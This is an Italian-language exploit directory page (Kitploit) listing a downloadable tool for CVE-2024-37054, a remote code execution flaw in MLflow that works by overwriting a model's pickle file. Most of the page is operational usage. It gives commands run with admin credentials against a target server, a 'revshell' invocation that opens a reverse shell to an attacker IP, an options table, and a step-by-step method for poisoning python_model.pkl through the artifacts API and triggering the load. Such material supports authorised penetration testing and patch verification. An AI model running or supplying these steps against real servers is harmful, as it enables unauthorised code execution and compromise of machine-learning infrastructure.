Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-37054 — CVE-2024-37054 exploit e documentazione | Kitploit
Strumenti/GitHubGitHub/tristanqtn/cve-2024-37054
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 exploit e documentazione

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-37054 — Deserializzazione RCE di MLflow pyfunc

Gravità: Critica
Interessati: MLflow 0.9.0 – 2.14.1
Tipo: Esecuzione arbitraria di codice tramite deserializzazione pickle Python

Descrizione

mlflow.pyfunc.load_model() deserializza python_model.pkl dall'archivio degli artefatti senza alcuna sanificazione. Un attaccante in grado di raggiungere l'API REST degli artefatti MLflow può sovrascrivere quel file con un pickle dannoso, che esegue comandi arbitrari del sistema operativo al successivo caricamento del modello.

Requisiti

root@kitploit:~
pip install requests cloudpickle

Utilizzo

root@kitploit:~
# Enumerazione dei modelli registrati
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Modello esplicito + autenticazione Basic MLflow
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444
Scarica lo strumento

Opzioni principali

FlagDescrizione
--mlflow URLURL base del server di tracciamento MLflow (obbligatorio)
--model NAMENome del modello registrato — se omesso, seleziona automaticamente il primo
--version NVersione del modello — per default l'ultima
--user / --passCredenziali HTTP Basic Auth per MLflow
--run-id / --exp-idSalta l'individuazione del modello usando ID noti
--trigger-url URLEndpoint dell'app che chiama load_model() — se omesso, solo upload
--session COOKIECookie di sessione inviato con la richiesta di attivazione

Come funziona

  1. Scoperta — interroga /api/2.0/mlflow/registered-models/search per trovare un modello e il suo run_id / experiment_id
  2. Avvelenamento — PUT di un payload cloudpickle malevolo su /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Attivazione — qualsiasi percorso di codice che chiama mlflow.pyfunc.load_model() su quel modello deserializza il payload ed esegue il comando

Il passo di attivazione richiede un endpoint dell'applicazione che carichi il modello. Se non ne è noto alcuno, usa --no-trigger (o ometti --trigger-url) e attiva il caricamento con qualsiasi mezzo disponibile.

Disclaimer

Solo per test di penetrazione autorizzati e scopi educativi.